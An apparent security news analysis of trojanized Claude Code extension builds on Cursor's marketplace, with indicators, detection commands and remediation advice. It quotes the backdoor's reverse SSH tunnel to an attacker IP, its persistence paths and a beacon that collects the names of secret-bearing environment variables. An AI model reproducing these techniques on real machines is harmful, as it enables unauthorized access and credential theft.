Nov 02, 2026 · 10 min read
Tampered Claude Code Extension on Cursor Planted SSH Keys
On October 29, 2026, Cursor's own extension marketplace served two modified builds of Anthropic's Claude Code extension under the real extension ID. The injected loader added an attacker's SSH key to your account and tried to open a tunnel back to a server at 134.209.82.225. Coding errors stopped most of it. Not all of it.
If you opened Cursor on the morning of October 29 and your extensions updated, the copy of Claude Code you got may have looked exactly like the real thing. Same name. Same publisher. Same features. The difference sat at the very top of extension.js, where a loader ran the moment the editor read the file, before Claude Code itself did anything at all. You never had to click it.
Key Takeaways
- Cursor says tampered builds 2.1.312 and 2.1.313 of the anthropic.claude-code extension were live in the Cursor VS Code Extension Marketplace between about 2:27am and 1:35pm PT on October 29, 2026; its indicator hashes cover Apple Silicon Mac and 64 bit Windows builds.
- The injected loader appended an Ed25519 key with the comment svc-telemetry to ~/.ssh/authorized_keys, installed persistence, and tried to hold a reverse SSH tunnel open to 134.209.82.225.
- BleepingComputer and The Register put exposure at up to 5,000 developers, and Cursor responded by shutting down its entire marketplace, rotating its keys, and rebuilding it.
- Open VSX and Microsoft's Visual Studio Code Marketplace were not the source, and Anthropic says the incident was not a compromise of its systems or employee laptops.
- Uninstalling the extension does not remove the backdoor, so anyone who loaded either build needs to delete the key, the persistence files, and any tunnel processes, then rotate credentials.
What Happened on Cursor's Marketplace?
Cursor's marketplace distributed two trojanized builds of the Claude Code extension for roughly 11 hours on October 29. According to Cursor's security notice, the affected packages were anthropic.claude-code versions 2.1.312 and 2.1.313, with indicator hashes listed for darwin-arm64 and win32-x64 builds. Early coverage named only 2.1.313; Cursor added 2.1.312 in an update on October 30.
Cursor says it removed the malicious version, blocked further distribution, and then ran "a full shut down of the marketplace out of an abundance of caution." It audited access, found no other tampered extensions, rotated its keys, rebuilt the marketplace, and worked with the hosting provider to take the attacker's server offline.
The exposure number comes from the press, not the notice as it reads today. BleepingComputer reported the build was live long enough to expose "up to 5,000 developers," and The Register used the same ceiling. That is a maximum, not a count of confirmed infections.
Was It Open VSX or Cursor's Own Registry?
It was Cursor's own registry. The first research posts pointed at Open VSX, the Eclipse Foundation registry most VS Code forks pull from, and both had to correct course. OpenSourceMalware's updated report says the build "did not originate with Open VSX and instead was from Cursor's mirror of the Open VSX registry," and notes that Open VSX never carried a 2.1.313 release at all. BleepingComputer adds that early reports implicating npm and Microsoft's marketplace were also wrong.
Anthropic pushed back hard on claims that it had been breached. Felix Rieseberg, a member of Anthropic's technical staff, told The Register: "A malicious actor used access to Cursor's marketplace to publish a tampered copy of the Claude Code extension, which we didn't build or publish."
Neither company has said how that access was obtained. Cursor's notice does not name an account, a credential, or a publishing path. If you want background on why every VS Code fork leans on Open VSX in the first place, our piece on 77 Open VSX extensions that harvested developer data covers the plumbing.
How Did the Backdoor Work?
The backdoor was an immediately invoked function prepended to extension.js, so it executed as soon as Node loaded the file, ahead of the extension's normal activate function. Phorion's teardown breaks it into stages:
- Key planting: append an attacker Ed25519 public key, comment
svc-telemetry, to~/.ssh/authorized_keys. - Turning SSH on: try
systemsetup -setremotelogin onon macOS, or install OpenSSH Server through PowerShell on Windows. - Reverse tunnel: write an embedded private key to a temp file named
.stk_<10 hex>, then connect astunnel@134.209.82.225with-N -R '*:0:localhost:22', using autossh if present and retrying every 60 seconds. - Persistence: a LaunchAgent at
~/Library/LaunchAgents/com.apple.sysmond.plistthat runs~/.config/.smton macOS, or a scheduled task namedSysMonwith asysmon.cmdStartup folder fallback on Windows. - Beacon: a single HTTP POST to
134.209.82[.]225:8099/beaconcarrying hostname, username, OS, home and working directories, global Git email, public IP, and the names of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS, or GCP.
Two details stand out. The plist label com.apple.sysmond is chosen to blend into a launchctl list full of genuine Apple daemons. And the loader took variable names, not values, and downloaded nothing else. OpenSourceMalware states that "No additional executable or script is downloaded by the injected loader." This was an access play: get a key on the box, get a tunnel out, come back later by hand.
Why Did the Backdoor Mostly Fail?
On most machines the SSH step failed because the step that turns SSH on needs admin rights, and the author's own checks broke without them. Phorion found that running systemsetup -getremotelogin as a standard macOS user prints "You need administrator access to run this tool... exiting!" and still exits with status 0. The malware only enabled Remote Login when the output contained "Off," so on a Mac without Remote Login already on, it never tried. On Windows, a helper called det() hardcodes /bin/sh, which Phorion notes is not going to get very far on a standard Windows install. Cursor's notice reaches the same conclusion: the SSH enable step would generally fail without admin rights.
Most coverage stops at "it failed." That framing undersells the risk for exactly the people who installed it. The key still landed in authorized_keys. The LaunchAgent still installed and retries every minute. And the tunnel only needs a running SSH server to forward to. Any Mac where a developer had already switched on Remote Login was one successful tunnel away from giving the operator a shell. A broken installer is not the same thing as a dead backdoor.
How Do You Check If You Were Hit?
Search for the svc-telemetry key first; Cursor treats its absence as "machine not impacted." These are the checks from Cursor's notice. On macOS:
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"
On Windows, in PowerShell:
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }
Then look for the rest of the footprint:
- Extension folder: Phorion lists the install directories as
anthropic.claude-code-2.1.312-darwin-arm64andanthropic.claude-code-2.1.313-darwin-arm64under your editor's extensions folder. A clean folder today does not prove you never loaded one, since updates replace it. - Persistence files:
~/.config/.smt,~/.config/.smtk, thecom.apple.sysmondplist, or on Windows theSysMontask andsysmon.cmd. - Live tunnels: any
sshorautosshprocess with-R *:0:localhost:22or a connection to 134.209.82.225. - Actual use: Phorion notes that logins through the tunnel "will appear to come from
localhost," so SSH log entries from 127.0.0.1 or ::1 using the svc-telemetry key mean someone came in.
If anything turns up, isolate the machine. OpenSourceMalware recommends preserving forensic evidence and blocking 134.209.82.225 on ports 22 and 8099 before you clean up. Cursor publishes remediate-macos.sh (run with bash as the affected user, not root) and remediate-windows.ps1 (run elevated); both exit nonzero if anything remains. Phorion is blunt about the shortcut people will want to take: "uninstalling the extension alone won't remove the backdoor." Finally, rotate credentials from a trusted machine, starting with any secret whose variable name matched the beacon's filter.
The Email Angle: What the Beacon Knew About You
The beacon tied your Git email address to your public IP, your hostname, and a list of which cloud and API secrets live in your shell. For anyone who commits with an employer address, that is a work inbox. That makes the attacker's server log, for however long it ran, a targeting list: a confirmed inbox, owned by someone who uses Claude Code inside Cursor and keeps something called AWS_SECRET_ACCESS_KEY in their environment.
Expect phishing built on this incident. A message titled "Cursor security notice: run this remediation script" is the obvious lure, and it writes itself. Cursor's real scripts live on cursor.com; never run one that arrived as an email attachment or a link to some other domain. Claude users have been a target before: infostealer crews have been hijacking Claude sessions, and a fake Claude Desktop installer pushed SectopRAT to 29 organizations.
There is also no breach notification coming. This was not a database leak with a customer list; nobody holds a roster of who loaded the build. The only notice most affected developers will ever get is the one they go and read themselves.
IDE Marketplaces Are Now the Supply Chain
This is not the first time in 2026 that a real extension identity, rather than a lookalike, carried the payload. In May, a poisoned Nx Console release sat on Microsoft's marketplace for 11 minutes. The Claude Code build stayed up for roughly 11 hours, about 60 times longer. Days after Nx Console, the same group, TeamPCP, was offering 3,800 GitHub internal repositories for sale after one VS Code extension on one GitHub employee's laptop turned out to be poisoned.
The lookalike era has not ended either. GlassWorm's Open VSX extensions were downloaded 35,800 times across 12 packages, hiding JavaScript in "invisible Unicode characters that render as blanks," according to BleepingComputer; we covered its takedown in May.
The lesson from Cursor's incident is narrower and more uncomfortable. An extension ID tells you who registered a name, not who uploaded the latest build. For a Cursor user, a build travels from the publisher to Open VSX and then through Cursor's own mirror. Every hop is another place a package can be swapped, and the user sees the same publisher name at the end of all of them.
How to Vet Extensions Going Forward
- Let updates age. VS Code lets you turn off
extensions.autoUpdateor run "Disable Auto Update for Extensions," per Microsoft's extension docs. A 24 hour delay on high privilege extensions would have skipped this entire window. - Allowlist on managed machines. VS Code's
extensions.allowedsetting blocks anything not listed. Confirm your fork actually honors it before relying on it. - Alert on the behavior, not the package. Phorion suggests flagging editor helper processes such as Cursor Helper writing to
~/.ssh/authorized_keys, and any process other than Apple's writing acom.apple.*LaunchAgent. - Keep Remote Login off unless you use it. It was the one setting that separated a planted key from a working shell.
- Get secrets out of your shell profile. Even variable names were worth collecting. Short lived credentials from a secrets manager leave less to rotate. Our look at 543,699 GitHub credentials that still work shows how long forgotten keys stay live.
The open question is still the one Cursor has not answered: how someone gained the ability to publish under Anthropic's extension ID on its marketplace. Until that is explained, treat every editor marketplace as a package registry with publish rights you cannot see, and audit it the way you already audit npm.